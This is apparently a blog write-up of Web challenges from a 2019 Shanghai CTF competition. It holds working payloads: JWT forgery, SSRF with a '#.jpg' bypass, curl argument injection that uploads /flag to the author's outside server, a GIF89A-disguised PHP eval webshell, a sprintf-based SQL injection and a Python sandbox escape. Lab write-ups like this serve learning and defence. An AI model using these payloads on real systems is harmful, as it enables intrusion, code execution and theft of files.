2019 "神盾杯"上海市网络空间安全竞赛 Web部分题解

考试月抽空打了一下,收获挺大的,做个记录赶紧复习去了

easyadmin

抓包发现jwt

HS256加密,找到密钥即可伪造,用工具爆破密钥即可

密钥是sjwt

伪造角色字段role值为admin

再登陆即可获得flag

c-jwt-crack下载地址:https://github.com/brendan-rius/c-jwt-cracker

html源码里有提示<?php $flag='flag in the /flag';?>

http://xxxx/gallery.php?path=http://127.0.0.1:8082/gallery/static/img/portfolio-1.jpg

猜测是ssrf漏洞,直接利用file协议读/flag:?path=file:///flag读不出来

于是就在自己的vps上随便写一个php文件来读:?path=http://vps/phpinfo.php,发现读不出来

但是读一个jpg图片可以:?path=http://vps/1.jpg

所以就怀疑是不是对path参数做了检测,必须带有后缀名.jpg

于是就访问?path=http://vps/phpinfo.php%23.jpg,发现成功访问,%23代表#后面的.jpg自然不会传入后台代码

于是访问?path=file:///flag%23.jpg就能拿到flag了

过滤了file协议,貌似只能用httphttps协议,那么我们就利用http协议来访问自己的vps,在自己监听端口

发现服务器是通过curl来访问的

那么我们就可以利用curl -d命令来构造POST请求包获得数据:

?f=http://120.77.180.97:8888/index.php%20-d%201%23.jpg

于是尝试:?f=http://120.77.180.97:8888/index.php%20-d%20/flag%23.jpg

没有获得到flag,但是我们还能使用curl -F命令,-F参数能够传输文件,具体格式如下:

1
curl -F "file=@__FILE_PATH__"

于是构造payload:

1
?f=http://120.77.180.97:8888/index.php%20-F%20myflag=@/flag%20-F%20x=1%23.jpg

成功读取到了/flag文件

easyupload

发现上传检查了文件内容,文件内容加上GIF89A即可上传木马,但是上传后没有回显文件地址,只有base64加密的文件内容

page参数有包含,但是过滤了://,所以我们就不能用伪协议来读取源码了

我们可以发现上传的包中还有另一个参数picurl,这个参数在上传页面中对应的是上传在线图片

我们试着输入一个在线图片地址

发现上传成功,那么能不能用file协议读文件呢,试一下file:///etc/passwd

但是上传其他文件,例如file:///var/www/html/index.php是没有重定向的,说明没有上传成功,所以猜测可能是过滤了var关键字

所以通过特殊目录file:///proc/self/cwd/index.php来获得index.php文件,/proc目录与当前进程相关self代表当前进程cwd则代表软链接,所以能直接指向apache的根目录

获得的index.php源码如下:

upload.php源码如下:

从源码中我们可以获得上传路径,关键代码如下:

1
2
3
4
5
$ddir="./upload_u_c4nt_acc3ss/";
$name=$_FILES['pic']['name'];
$ext = pathinfo($name,PATHINFO_EXTENSION);
$filename=basename($name,$ext);
$rootpath=$ddir.md5($filename).".".$name;

利用我们前面提到的加上GIF89A后上传的马和获得的上传路径,我们就可以直接访问到我们上传的马,但是这里还需要注意代码中对上传的php文件内容有一处过滤,代码如下:

1
2
3
4
5
if(preg_match('/^ph(.*)$/i',$ext)){
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml','phps'])) {
file_put_contents($rootpath,preg_replace("/\?/","",file_get_contents($rootpath)));
}
}

既然去掉了?那么,我们就不能使用<?php ?>标签,所以文件内容为:

1
<script language='php'>@eval($_GET[_]);</script>

上传后直接访问即可执行命令

easysqli

user参数和pass参数都经过addslashes函数过滤,题目也给出了提示要绕过addslashes函数

后台对输入的用户名开头检查,必须是admin开头,对sql的执行结果有回显

但是普通的方法,例如宽字节注入,base64,url编码都尝试了无法绕过,所以只能考虑用sprintf字符串格式化漏洞来绕过,参考:https://blog.csdn.net/weixin_41185953/article/details/80485075

猜测后台代码:

1
2
3
$user = addslashes($_GET['user']);
$pass = addslashes($_GET['pass']);
$sql = sprintf("select * from users where username='%s' and password='$pass'",$user);

简单的说,sprintf字符串漏洞思想为:%后的一个字符都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用

也就是说,如果pass字段带有%\,那么php会把\当作一个格式化字符的类型而吃掉, 最后%\(或%1$\)被替换为空

所以最终payload:

1
/result.php?user=admin&pass=%251$%27%20or%201%23&pow=01cc6dc

拼凑起来的sql语句就是:

1
select * from users where username='admin' and password='%1$\' or 1#';

由于php把%1$\当作是格式字符,由于匹配不到值,所以替换为空,造成了\后面的单引号逃逸,最终执行的sql语句为:

1
select * from users where username='admin' and password='' or 1#';

fast_calc_2

根据源代码中的js文件:script.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function my_eval(expr){

data = {"target":"/","expr":expr}

$.ajax({
type: "POST",
url: "/calc.php",
data: JSON.stringify(data),
contentType: 'application/json',
dataType: "json"
}).done(function( data ) {
form.panel.value = data['result'];
})

}

构造发送至calc.php文件的POST数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /calc.php HTTP/1.1
Host: 7666e36272ac45adba86f08bb486ef6d28ce4c7a1a184a8a.changame.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=16a87ef281d7e4-0f82ca74b9fe99-f353163-144000-16a87ef281e5ea; pgv_pvi=3457772544; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1558713312,1558797925,1559201555,1560385043; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1560481298; __jsluid=108fcbbfcc938a7f03a3f133bc6b93fc
If-None-Match: "1023-58a7ac584a100-gzip"
If-Modified-Since: Tue, 04 Jun 2019 07:53:08 GMT
Connection: close
Content-Type: application/json
Content-Length: 27

{"target":"/","expr":"1+1"}

发现存在SSTI,但是过滤了[]__base____subclasses__

测了一下当 open 紧跟着刮号时会被拦,用一个空格隔开,然后就可以任意读文件了…盲猜 flag 在根目录

payload如下:

1
{"target":"/","expr":"open ('/flag').__getattribute__('read')()"}

查看源码:

1
open ('/proc/self/cwd/calc.php').__getattribute__('read')()

calc.php:

1
2
3
4
5
6
7
<?php

$data = file_get_contents('php://input');
$data = json_decode($data,true);
$encode_data = base64_encode($data['expr']);

system('python ./final.py '.$encode_data);
1
open ('/proc/self/cwd/final.py').__getattribute__('read')()

final.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python

from ctypes import pythonapi,POINTER,py_object
import sys
from base64 import b64decode

try:
input = b64decode(sys.argv[1])
except Exception,e:
print '{"success":500,"result": "%s"}' %str(e)
exit()

del sys,b64decode

_get_dict = pythonapi._PyObject_GetDictPtr
_get_dict.restype = POINTER(py_object)
_get_dict.argtypes = [py_object]
del pythonapi,POINTER,py_object

def dictionary_of(ob):
dptr = _get_dict(ob)
return dptr.contents.value

def make_secure():
UNSAFE = [
'file',
'execfile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]

def filter(string):
black_list = ['eval(','exec(','open(','read(','system(','[',']']
for black_word in black_list:
if black_word in string:
raise Exception("Black words")
return string

from re import findall
# Remove dangerous builtins
make_secure()

# more secure
type_dict = dictionary_of(type)
del type_dict["__base__"]
del type_dict["__subclasses__"]

try:

exec 'a=' + filter(input)
print '{"success":200,"result": "%s"}'%a
except Exception, e:
print '{"success":500,"result": "%s"}' %str(e)

几个常用payload的内建函数被删了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
del type_dict["base"]

del type_dict["subclasses"]

def make_secure():

UNSAFE = [

'file',

'execfile',

'reload',

'import',

'eval',

'input']

for func in UNSAFE:

del builtins.dict[func]
文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/06/14/2019%E2%80%9C%E7%A5%9E%E7%9B%BE%E6%9D%AF%E2%80%9Dctf-Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog